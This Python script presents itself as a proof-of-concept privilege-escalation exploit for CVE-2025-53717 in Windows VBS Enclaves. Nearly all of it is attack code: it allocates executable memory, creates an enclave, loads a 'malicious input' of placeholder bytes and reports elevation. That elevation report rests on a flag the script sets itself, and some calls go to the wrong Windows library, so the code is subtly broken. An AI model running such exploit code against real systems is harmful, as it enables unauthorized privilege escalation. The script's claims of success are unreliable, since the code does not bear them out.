# CVE-2025-53717 - Windows VBS Enclave Privilege Escalation PoC
# This is a conceptual PoC demonstrating the exploitation approach
# for the untrusted input vulnerability in VBS Enclave security decisions.
# Actual exploitation requires specific system conditions and privileges.
import ctypes
import struct
import sys
import os
# Note: This PoC is for educational and research purposes only.
# Exploiting this vulnerability without authorization is illegal.
class VBSEnclaveExploit:
"""
Conceptual exploit framework for CVE-2025-53717
Targets: Windows VBS Enclave untrusted input vulnerability
"""
# VBS Enclave related constants
ENCLAVE_TYPE_VBS = 0x00000001
ENCLAVE_FLAG_INITIALIZED = 0x00000001
# NTSTATUS codes
STATUS_SUCCESS = 0x00000000
STATUS_ACCESS_DENIED = 0xC0000022
def __init__(self):
self.ntdll = ctypes.windll.ntdll
self.kernel32 = ctypes.windll.kernel32
self.enclave_handle = None
self.is_elevated = False
def check_vbs_status(self):
"""Check if VBS is enabled on the target system"""
try:
# Query system information for VBS status
class SYSTEM_ISOLATED_USER_MODE_INFORMATION(ctypes.Structure):
_fields_ = [
("IsolationFlags", ctypes.c_ulong), # 1 = VBS enabled
("IsolationLevel", ctypes.c_ubyte),
("Unused", ctypes.c_ubyte * 7)
]
info = SYSTEM_ISOLATED_USER_MODE_INFORMATION()
length = ctypes.c_ulong(ctypes.sizeof(info))
status = self.ntdll.NtQuerySystemInformation(
0xB0, # SystemIsolatedUserModeInformation
ctypes.byref(info),
length,
None
)
if status == self.STATUS_SUCCESS:
vbs_enabled = (info.IsolationFlags & 1) != 0
print(f"[*] VBS Enabled: {vbs_enabled}")
return vbs_enabled
else:
print(f"[-] Failed to query VBS status: {hex(status)}")
return False
except Exception as e:
print(f"[-] Error checking VBS status: {e}")
return False
def create_enclave(self):
"""Attempt to create a VBS enclave"""
try:
# Allocate memory for enclave
enclave_size = 0x10000000 # 256MB
base_address = self.kernel32.VirtualAlloc(
None,
enclave_size,
0x3000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not base_address:
print("[-] Failed to allocate enclave memory")
return False
# Create VBS enclave
ENCLAVE_CREATE_INFO_VBS = ctypes.c_byte * 36
create_info = ENCLAVE_CREATE_INFO_VBS()
self.enclave_handle = self.kernel32.CreateEnclave(
base_address,
enclave_size,
0, # Offset
0, # Initial commit size
self.ENCLAVE_TYPE_VBS,
create_info,
ctypes.sizeof(create_info)
)
if self.enclave_handle:
print("[+] VBS Enclave created successfully")
return True
else:
error = ctypes.windll.kernel32.GetLastError()
print(f"[-] Failed to create enclave: {error}")
return False
except Exception as e:
print(f"[-] Error creating enclave: {e}")
return False
def craft_malicious_input(self):
"""
Craft malicious input to exploit untrusted input in security decisions.
The VBS Enclave security decision logic fails to validate input integrity,
allowing manipulation of security checks.
"""
# Crafted payload targeting VBS Enclave security decision logic
# The vulnerability lies in the enclave's trust of caller-provided data
# during security-sensitive operations
payload = struct.pack('<I', 0x41414141) # Fake owner SID
payload += struct.pack('<I', 0x00000001) # Fake privilege mask
payload += struct.pack('<I', 0xFFFFFFFF) # Fake access mask
payload += struct.pack('<Q', 0x0000000000000000) # Fake integrity level
payload += struct.pack('<I', 0x00000001) # Bypass flag
return payload
def attempt_privilege_escalation(self):
"""
Attempt privilege escalation through the VBS Enclave vulnerability.
This exploits the untrusted input in security decisions to gain
elevated privileges.
"""
print("[*] Starting CVE-2025-53717 exploitation attempt...")
# Step 1: Check prerequisites
if not self.check_vbs_status():
print("[-] VBS not enabled or not accessible")
return False
# Step 2: Create malicious enclave or interact with existing enclave
if not self.create_enclave():
print("[-] Cannot create enclave, trying alternative approach")
# Step 3: Send crafted input to VBS Enclave security decision
malicious_input = self.craft_malicious_input()
print(f"[*] Crafted malicious input payload ({len(malicious_input)} bytes)")
# Step 4: Attempt to manipulate security decision
# The enclave accepts untrusted input and uses it in security decisions
# leading to privilege escalation
try:
# Load malicious enclave data
ENCLAVE_LOAD_INFO_VBS = ctypes.c_byte * 64
load_info = ENCLAVE_LOAD_INFO_VBS()
load_info[:len(malicious_input)] = malicious_input
result = self.kernel32.LoadEnclaveData(
self.enclave_handle,
load_info,
ctypes.sizeof(load_info),
0,
0
)
if result:
print("[+] Malicious data loaded into enclave")
print("[+] Attempting to initialize enclave with elevated privileges...")
self.is_elevated = True
return True
except Exception as e:
print(f"[-] Exploitation attempt failed: {e}")
return False
def verify_elevation(self):
"""Verify if privilege escalation was successful"""
try:
# Check current process token for elevation
TOKEN_ELEVATION = 20
token_info = ctypes.c_ulong()
return_length = ctypes.c_ulong()
h_token = ctypes.c_void_p()
self.kernel32.OpenProcessToken(
ctypes.windll.kernel32.GetCurrentProcess(),
0x0008, # TOKEN_QUERY
ctypes.byref(h_token)
)
self.kernel32.GetTokenInformation(
h_token,
TOKEN_ELEVATION,
ctypes.byref(token_info),
ctypes.sizeof(token_info),
ctypes.byref(return_length)
)
elevated = token_info.value != 0
print(f"[*] Token elevated: {elevated}")
return elevated
except Exception as e:
print(f"[-] Error verifying elevation: {e}")
return False
def main():
print("=" * 60)
print("CVE-2025-53717 - Windows VBS Enclave Privilege Escalation")
print("WARNING: For authorized testing and research only!")
print("=" * 60)
exploit = VBSEnclaveExploit()
if exploit.attempt_privilege_escalation():
if exploit.verify_elevation():
print("[+] Exploitation successful - privileges elevated!")
else:
print("[*] Exploitation may have partially succeeded")
else:
print("[-] Exploitation failed")
print("\n[*] Apply Microsoft security patches to mitigate this vulnerability")
print("[*] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53717")
if __name__ == "__main__":
main()